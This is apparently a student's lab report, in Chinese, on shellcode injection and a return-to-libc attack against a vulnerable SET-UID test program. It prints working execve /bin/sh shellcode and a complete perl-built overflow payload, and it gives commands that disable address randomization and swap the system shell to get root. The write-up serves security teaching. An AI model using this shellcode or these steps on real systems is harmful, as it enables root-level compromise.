20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验
1.0 实践内容
Return-to-libc攻击是一种特殊的缓冲区溢出攻击,通常用于攻击有“栈不可执行”保护措施的目标系统。本实验中我们放弃了让漏洞程序执行堆栈中的shellcode,将用system()地址替换返回地址,用它调用一个root shell。
1.1 shellcode注入实验
实验之前需要安装execstack.
设置堆栈可执行,并关闭地址随机化。

shellcode的获取得到shellcode如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 接下来正式进入实验:
构造注入的payload,格式为nop(即\x90)+shellcode+返回地址。

对返回地址进行猜测,尝试找到shellcode的地址:

用gdb调试:

ret一行即为结束地址,从上图中,读出结束地址为0x080484ae
返回原来的终端:(回车要在设置断点后进行,gdb执行c前按下,否则无法确认进程号)
接下来设置断点,并寻找注入的buf的地址:

然后我们发现,先前输入的01020304出现在了这里,这里就是返回地址。

01020304的位置就是返回地址的位置,即0xffffd33c
获得shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为
perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
然后在该窗口中,重新运行
(cat input_shellcode ; cat )| ./pwn5207

成功
2.0 Return-to-libc 攻击实验
首先需要创建环境
输入如下指令,创建32位C语言可编译的环境
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
完成安装

输入命令
linux32
进入32位linux操作环境
使用
/bin/bash
进入bash
接下来关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
为了防止shell攻击,若被攻击,则程序被调用时会自动弃权,用zkj来代替它:
这里用到的命令为:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
在tmp文件夹下编辑“retlib.c”文件,并编译设置SET-UID

我在windows下编译完成后复制进tmp文件夹,因此替代了文件

进行编译,

提权后退出。
创建文件“”getenvaddr.c”文件用于读取环境变量,并编译

在tmp文件夹下准备“exploit.c”文件用于攻击

并对其进行编译

编译exploit再运行gdb,对其进行调试

接下来获取system地址

通过上述获取的地址,修改入exploit.c文件,并删除之前生成的exploit和badfile文件,再次编译,

编译的方法是:将先前得到的地址等填入exploit的相应位置
最后编译运行retlib

攻击成功
20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验的更多相关文章
- 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击
20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...
- 20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现
20145314郑凯杰<网络对抗技术>恶意DLL注入进程(进程捆绑)的实现 一.本节摘要 简介:在这部分里,要实现将恶意后门悄无声息地与进程进行捆绑,通过和已运行的进程进行捆绑,达到附着攻 ...
- 20145309李昊《网络对抗技术》实验9 web安全基础实践
本实验在同学帮助下完成 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. Web前 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
- 2018-2019-2 20165225『网络对抗技术』Exp2:后门原理与实践
2018-2019-2 20165225『网络对抗技术』Exp2:后门原理与实践 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分) 任务二:使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165236 Exp6 信息搜集与漏洞扫描
2018-2019-2 网络对抗技术 20165236 Exp6 信息搜集与漏洞扫描 一.实验内容 1.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 (1)各种搜索技巧的应用 ...
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2017-2018-2 20155314《网络对抗技术》Exp1 PC平台逆向破解(5)M
2017-2018-2 20155314<网络对抗技术>Exp1 PC平台逆向破解(5)M 目录 实验要求 实验内容 预备知识 实验步骤 0 准备工作:macOS下Parallels De ...
- 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践
### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...
随机推荐
- Jarsigner签名使用
转载请标明出处: http://www.cnblogs.com/why168888/p/6548544.html 本文出自:[Edwin博客园] 如何签名: jarsgner-verbose-keys ...
- shell基础学习
1. #! /bin/bash #设置只读变量,只读变量不可修改myUrl="http://www.baidu.com"readonly myUrl #删除变量,unset不能删除 ...
- Innodb_io_capacity 对于IO稳定性的一些研究
背景:最近在做一台线上服务器IO负载情况的时候发现了以下现象: 24小时的IO_UTIL 的曲线看似风平浪静,毛刺较少 但当图片放大到半小时级别的时候发现IO_UTIL即磁盘使用率出现了规律性的波动, ...
- BZOJ4807:車(组合数学,高精度)
Description 众所周知,車是中国象棋中最厉害的一子之一,它能吃到同一行或同一列中的其他棋子.車跟車显然不能在一起打起来,于是rly一天又借来了许多许多的車在棋盘上摆了起来……他想知道,在N× ...
- 401. Binary Watch 回溯
A binary watch has 4 LEDs on the top which represent the hours (0-11), and the 6 LEDs on the bottom ...
- Selenium自动化测试之启动浏览器
Selenium自动化测试之启动浏览器 一.Eclipse新建java工程 1.新建java工程:File->New->Java Project,输入Project name:如AutoT ...
- 配置tomcat的用户名和密码
<role rolename="manager-gui"/> <role rolename="manager-script"/> < ...
- 登录SQLServer报错:无法连接到DESKTOP-LDJHQGN
解决方法:下↓↓↓
- LeetCode34.在排序数组中查找元素的第一个和最后一个位置 JavaScript
给定一个按照升序排列的整数数组 nums,和一个目标值 target.找出给定目标值在数组中的开始位置和结束位置. 你的算法时间复杂度必须是 O(log n) 级别. 如果数组中不存在目标值,返回 [ ...
- java SSM 框架 多数据源 代码生成器 websocket即时通讯 shiro redis 后台框架源码
A 调用摄像头拍照,自定义裁剪编辑头像 [新录针对本系统的视频教程,手把手教开发一个模块,快速掌握本系统]B 集成代码生成器 [正反双向](单表.主表.明细表.树形表,开发利器)+快速构建表单; 技 ...